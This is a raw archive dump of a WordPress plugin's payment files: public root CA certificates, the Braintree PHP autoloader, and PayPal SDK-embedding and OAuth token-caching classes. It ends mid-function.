AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whfGHdPAgMB AAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW BBRF66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYun pyGd823IDzANBgkqhkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRC dWKuh+vy1dneVrOfzM4UKLkNl2BcEkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTf fwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38FnSbNd67IJKusm7Xi+fT8r87cm NW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i8b5QZ7dsvfPx H2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe +o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g== -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97 nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt 43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4 gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg 06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4= -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3 LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm +9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3 hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2 Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep +OkuE6N36B9K -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEW MBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVy c2FsIENBMB4XDTA0MDMwNDA1MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UE BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xHjAcBgNVBAMTFUdlb1RydXN0 IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKYV VaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9tJPi8 cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTT QjOgNB0eRXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFh F7em6fgemdtzbvQKoiFs7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2v c7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d8Lsrlh/eezJS/R27tQahsiFepdaVaH/w mZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7VqnJNk22CDtucvc+081xd VHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3CgaRr0BHdCX teGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZ f9hBZ3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfRe Bi9Fi1jUIxaS5BZuKGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+ nhutxx9z3SxPGWX9f5NAEC7S8O08ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB /wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0XG0D08DYj3rWMB8GA1UdIwQY MBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG 9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fX IwjhmF7DWgh2qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzyn ANXH/KttgCJwpQzgXQQpAvvLoJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0z uzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsKxr2EoyNB3tZ3b4XUhRxQ4K5RirqN Pnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxFKyDuSN/n3QmOGKja QI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2DFKW koRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9 ER/frslKxfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQt DF4JbAiXfKM9fJP/P6EUp8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/Sfuvm bJxPgWp6ZKy7PtXny3YuxadIwVyQD8vIP/rmMuGNG2+k5o7Y+SlIis5z/iw= -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVT MRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9i YWwgQ0EwHhcNMDIwNTIxMDQwMDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQG EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3Qg R2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2swYYzD9 9BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjoBbdq fnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDv iS2Aelet8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU 1XupGc1V3sjs0l44U+VcT4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+ bw8HHa8sHo9gOeL6NlMTOdReJivbPagUvTLrGAMoUgRx5aszPeE4uwc2hGKceeoW MPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTA ephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1l uMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKIn Z57QzxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfS tQWVYrmm3ok9Nns4d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcF PseKUgzbFbS9bZvlxrFUaKnjaZC2mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Un hw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6pXE0zX5IJL4hmXXeXxx12E6nV 5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvmMw== -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCB vTELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJp U2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MTgwNgYDVQQDEy9W ZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAe Fw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJVUzEX MBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0 IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9y IGF1dGhvcml6ZWQgdXNlIG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNh bCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj1mCOkdeQmIN65lgZOIzF 9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGPMiJhgsWH H26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+H LL729fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN /BMReYTtXlT2NJ8IAfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPT rJ9VAMf2CGqUuV/c4DPxhGD5WycRtPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1Ud EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0GCCsGAQUFBwEMBGEwX6FdoFsw WTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2Oa8PPgGrUSBgs exkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4 sAPmLGd75JR3Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+ seQxIcaBlVZaDrHC1LGmWazxY8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz 4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTxP/jgdFcrGJ2BtMQo2pSXpXDrrB2+ BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+PwGZsY6rp2aQW9IHR lRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4mJO3 7M2CYfE45k+XmCpajQ== -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBh MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3 d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBH MjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVT MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkqhkiG 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI 2/Ou8jqJkTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx 1x7e/dfgy5SDN67sH0NO3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQ q2EGnI/yuum06ZIya7XzV+hdG82MHauVBJVJ8zUtluNJbd134/tJS7SsVQepj5Wz tCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyMUNGPHgm+F6HmIcr9g+UQ vIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQABo0IwQDAP BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV 5uNu5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY 1Yl9PMWLSn/pvtsrF9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4 NeF22d+mQrvHRAiGfzZ0JFrabA0UWTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NG Fdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBHQRFXGU7Aj64GxJUTFy8bJZ91 8rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/iyK5S9kJRaTe pLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl MrY= -----END CERTIFICATE----- ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/autoload.php��������������������������������������������������������������������������0000644�����������������00000001140�14720677707�0011623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php spl_autoload_register(function ($className) { if (strpos($className, 'Braintree') !== 0) { return; } $fileName = dirname(__DIR__) . '/lib/'; if ($lastNsPos = strripos($className, '\\')) { $namespace = substr($className, 0, $lastNsPos); $className = substr($className, $lastNsPos + 1); $fileName .= str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR; } $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php'; if (is_file($fileName)) { require_once $fileName; } }); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree.php�������������������������������������������������������������������������0000644�����������������00000001341�14720677707�0011731 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Braintree PHP Library * Creates class_aliases for old class names replaced by PSR-4 Namespaces */ require_once(__DIR__ . DIRECTORY_SEPARATOR . 'autoload.php'); if (version_compare(PHP_VERSION, '5.4.0', '<')) { throw new Braintree_Exception('PHP version >= 5.4.0 required'); } class Braintree { public static function requireDependencies() { $requiredExtensions = ['xmlwriter', 'openssl', 'dom', 'hash', 'curl']; foreach ($requiredExtensions AS $ext) { if (!extension_loaded($ext)) { throw new Braintree_Exception('The Braintree library requires the ' . $ext . ' extension.'); } } } } Braintree::requireDependencies(); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/index.html����������������������������������������������������������������������������0000644�����������������00000000000�14720677707�0011271 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/index.html��������������������������������������������������������������������������������0000644�����������������00000000000�14720677707�0010523 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-js-button-embed.php��������������������������������������������������������0000644�����������������00000015431�14720677707�0015142 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class SWPM_PayPal_JS_Button_Embed { protected static $instance; protected static $on_page_payment_buttons = array(); public $button_id_prefix = 'swpm_paypal_button_'; public $settings_args = array(); public $settings_args_subscription = array(); function __construct() { } /* * This needs to be a Singleton class. To make sure that for the full page, the JS loaded events in the footer are triggering one time only. * @return SWPM_PayPal_JS_Button_Embed */ public static function get_instance() { if (null === self::$instance) { self::$instance = new self(); } return self::$instance; } /* Set the settings args that will be used to generate the PayPal JS SDK arguments. */ public function set_settings_args( $settings_args ) { //Example settings args array /* $settings_args = array( 'is_live_mode' => 0, 'live_client_id' => 'THE LIVE CLIENT ID', 'sandbox_client_id' => 'THE SANDBOX CLIENT ID', 'currency' => 'USD', 'disable-funding' => '', //array('card', 'credit', 'venmo') 'intent' => 'capture', 'is_subscription' => 0, ); */ $this->settings_args = $settings_args; } /* Set the settings args that will be used to generate the PayPal JS SDK arguments for Subscription buttons. */ public function set_settings_args_for_subscriptions( $settings_args_sub ) { $this->settings_args_subscription = $settings_args_sub; } public function get_next_button_id() { $next_button_id = $this->button_id_prefix . count(self::$on_page_payment_buttons); self::$on_page_payment_buttons[] = $next_button_id; return $next_button_id; } /* * Generate the arguments for the PayPal JS SDK. It will be used to load the SDK script. */ public function generate_paypal_js_sdk_args( $args = array()){ //Reference - https://developer.paypal.com/sdk/js/configuration/ $sdk_args = array(); $sdk_args['client-id'] = $args['is_live_mode'] ? $args['live_client_id'] : $args['sandbox_client_id']; $sdk_args['intent'] = isset($args['intent']) ? $args['intent'] : 'capture'; $sdk_args['currency'] = $args['currency']; if ( isset( $args['is_subscription'] ) && ! empty( $args['is_subscription'] ) ) { //Enable vault for subscription payments. $sdk_args['vault'] = 'true'; } // Enable Venmo by default (could be disabled by 'disable-funding' option). $sdk_args['enable-funding'] = 'venmo';//We can add more funding options here (exmaple: venmo, paylater) // Required for Venmo in sandbox. if ( ! $args['is_live_mode'] ) { $sdk_args['buyer-country'] = 'US'; } //Check disable funding options. $disabled_funding = isset( $args['disable-funding'] ) ? $args['disable-funding'] : ''; if ( is_array( $disabled_funding ) && ! empty( $disabled_funding ) ) { // Convert array to comma separated string. $disable_funding_arg = ''; foreach ( $disabled_funding as $funding ) { $disable_funding_arg .= $funding . ','; } $disable_funding_arg = rtrim( $disable_funding_arg, ',' );//Remove the last comma and any white space. $sdk_args['disable-funding'] = $disable_funding_arg; } //Trigger filter hook so the PayPal SDK arguments can be modified. $sdk_args = apply_filters( 'swpm_generate_paypal_js_sdk_args', $sdk_args ); return $sdk_args; } /** * Load the PayPal JS SDK Script in the footer. This one loads the SDK with standard parameters (useful for one-time payments). * * It will be called from the button's shortcode (using a hook) if at least one button is present on the page. * The button's JS code needs to be executed after the SDK is loaded. Check for 'swpm_paypal_sdk_loaded' event. */ public function load_paypal_sdk() { $args = $this->settings_args; $sdk_args = $this->generate_paypal_js_sdk_args($args); $script_url = add_query_arg( $sdk_args, 'https://www.paypal.com/sdk/js' ); ?> <script type="text/javascript"> swpm_load_paypal_sdk_onDomReady(function(){ const script = document.createElement( 'script' ); script.type = 'text/javascript'; script.setAttribute( 'data-partner-attribution-id', 'TipsandTricks_SP_PPCP' ); script.async = true; script.src = '<?php echo esc_url_raw( $script_url ); ?>'; script.onload = function() { document.dispatchEvent(new Event('swpm_paypal_sdk_loaded')); }; document.getElementsByTagName( 'head' )[0].appendChild( script ); }) function swpm_load_paypal_sdk_onDomReady(callback) { // If the document is already loaded, execute the callback immediately if (document.readyState !== 'loading') { callback(); } else { // Otherwise, wait for the DOMContentLoaded event document.addEventListener('DOMContentLoaded', callback); } } </script> <?php } /** * Load the PayPal JS SDK Script for Subscription buttons in the footer. Loads the SDK with parameters useful for subscription buttons. * * It will be called from the button's shortcode (using a hook) if at least one button is present on the page. * The button's JS code needs to be executed after the SDK is loaded. Check for 'swpm_paypal_sdk_subscriptions_loaded' event. */ public function load_paypal_sdk_for_subscriptions() { $args = $this->settings_args_subscription; $sdk_args = $this->generate_paypal_js_sdk_args($args); $script_url = add_query_arg( $sdk_args, 'https://www.paypal.com/sdk/js' ); ?> <script type="text/javascript"> swpm_load_paypal_subs_sdk_onDomReady(function(){ const script_sub = document.createElement( 'script' ); script_sub.type = 'text/javascript'; script_sub.setAttribute( 'data-partner-attribution-id', 'TipsandTricks_SP_PPCP' ); script_sub.setAttribute( 'data-namespace', 'swpm_paypal_subscriptions' );//Use a different namespace for the subscription buttons. script_sub.async = true; script_sub.src = '<?php echo esc_url_raw( $script_url ); ?>'; script_sub.onload = function() { document.dispatchEvent(new Event('swpm_paypal_sdk_subscriptions_loaded')); }; document.getElementsByTagName( 'head' )[0].appendChild( script_sub ); }) function swpm_load_paypal_subs_sdk_onDomReady(callback) { // If the document is already loaded, execute the callback immediately if (document.readyState !== 'loading') { callback(); } else { // Otherwise, wait for the DOMContentLoaded event document.addEventListener('DOMContentLoaded', callback); } } </script> <?php } /** * Generate the PayPal JS SDK Script. * * It can be called to get the SDK script that can be used right where you want to output it. */ public function generate_paypal_sdk_script_output() { $sdk_args = $this->generate_paypal_js_sdk_args(); $script_url = add_query_arg( $sdk_args, 'https://www.paypal.com/sdk/js' ); $output = '<script src="' . esc_url_raw( $script_url ) . '" data-partner-attribution-id="TipsandTricks_SP_PPCP"></script>'; return $output; } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������paypal/class-swpm-paypal-bearer.php�����������������������������������������������������������������0000644�����������������00000013643�14720677707�0013406 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class SWPM_PayPal_Bearer { const BEARER_CACHE_KEY = 'swpm-ppcp-bearer-cache-key'; const BEARER_CACHE_EXPIRATION = (8 * HOUR_IN_SECONDS);//Cache for 8 hours. protected static $instance; public function __construct() { //NOP } /* * This needs to be a Singleton class. To make sure that the object and data is consistent throughout. */ public static function get_instance() { if (null === self::$instance) { self::$instance = new self(); } return self::$instance; } /** * Check if a bearer token exists in the cache and if it is expired or not. Create a new one if needed. */ public function get_bearer_token( $environment_mode = 'production' ) { $paypal_cache = SWPM_PayPal_Cache::get_instance(); //Check if a cached token exists $token_exists = $paypal_cache->has( self::BEARER_CACHE_KEY ); if ( $token_exists ) { //A cached token exists. Check if it is expired. //SwpmLog::log_simple_debug('Cached bearer token exists. Checking if it is valid.', true); $token = $paypal_cache->get( self::BEARER_CACHE_KEY ); $is_valid_token = $this->is_valid_token( $token, $environment_mode ); if ( $is_valid_token ) { //The cached token is valid. Return it. $token_string = $token['token_value']; SwpmLog::log_simple_debug('Using the cached PayPal API access token (since it is still valid). Environment mode: ' . $environment_mode, true); return $token_string; } } //A token doesn't exist or it is expired. Create a new one. //It will save/cache the newly created token also. $token_string = $this->create_new_bearer_token( $environment_mode ); return $token_string; } /** * Creates a new bearer token. * @return access_token */ public function create_new_bearer_token( $environment_mode = '' ) { //If the environment mode is passed, then use that, otherwise use the mode from settings. $settings = SwpmSettings::get_instance(); if( empty($environment_mode) ){ //Get the environment mode from settings. $sandbox_enabled = $settings->get_value( 'enable-sandbox-testing' );//The value will be checked="checked" or empty string. if( !empty($sandbox_enabled) ){ $environment_mode = 'sandbox'; }else{ $environment_mode = 'production'; } } SwpmLog::log_simple_debug('[New Token] Creating a new PayPal API access token for environment mode: ' . $environment_mode, true); if( $environment_mode == 'sandbox' ){ $client_id = $settings->get_value('paypal-sandbox-client-id'); $secret = $settings->get_value('paypal-sandbox-secret-key'); }else{ $client_id = $settings->get_value('paypal-live-client-id'); $secret = $settings->get_value('paypal-live-secret-key'); } //Check if the client id and secret are set before trying to create a bearer token using those values. if( empty( $client_id ) || empty( $secret ) ){ SwpmLog::log_simple_debug('PayPal API credentials are not set. Missing Client ID or Secret Key. Please set them in the plugin\'s payment settings page.', false); return false; } //Get the API base URL based on the environment mode. $api_base_url = SWPM_PayPal_Utility_Functions::get_api_base_url_by_environment_mode($environment_mode); $url = trailingslashit( $api_base_url ) . 'v1/oauth2/token?grant_type=client_credentials'; $args = array( 'method' => 'POST', 'headers' => array( // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode 'Authorization' => 'Basic ' . base64_encode( $client_id . ':' . $secret ), ), ); $response = SWPM_PayPal_Request_API::send_request_by_url_and_args( $url, $args ); if ( $response === false ) { //WP could not post the request. It has already logged the error in the log file. So just return ''. return false; } $status_code = (int) wp_remote_retrieve_response_code( $response ); if ( $status_code !== 200 ) { //PayPal API returned an error. $response_body = wp_remote_retrieve_body( $response ); SwpmLog::log_simple_debug( 'PayPal API returned an error. Status Code: ' . $status_code . ' Response Body: ' . $response_body, false ); return false; } //Get the token string value from the response. $token_string = self::get_token_from_json ( $response['body'] ); //Cache/save the bearer token in the database. self::cache_token( $token_string, $environment_mode ); SwpmLog::log_simple_debug('PayPal access token created successfully.', true); return $token_string; } public static function cache_token( $token_string, $environment_mode = 'prouction' ) { $token = array( 'token_value' => $token_string, 'created_at' => time(), 'environment_mode' => $environment_mode, ); $paypal_cache = SWPM_PayPal_Cache::get_instance(); $paypal_cache->set( self::BEARER_CACHE_KEY, $token, self::BEARER_CACHE_EXPIRATION );//Cache for 8 hours. } public static function delete_cached_token() { $paypal_cache = SWPM_PayPal_Cache::get_instance(); $paypal_cache->delete( self::BEARER_CACHE_KEY ); } /** * Checks if token is expired or not * @return bool */ public function is_valid_token( $token, $environment_mode = 'production' ) { $token_string = $token['token_value']; $created_at = $token['created_at']; $token_env_mode = $token['environment_mode']; if( $token_env_mode != $environment_mode ){ //The token is not for the current environment mode. So it is not valid. return false; } $expiry_timestamp = $created_at + self::BEARER_CACHE_EXPIRATION; if ( time() > 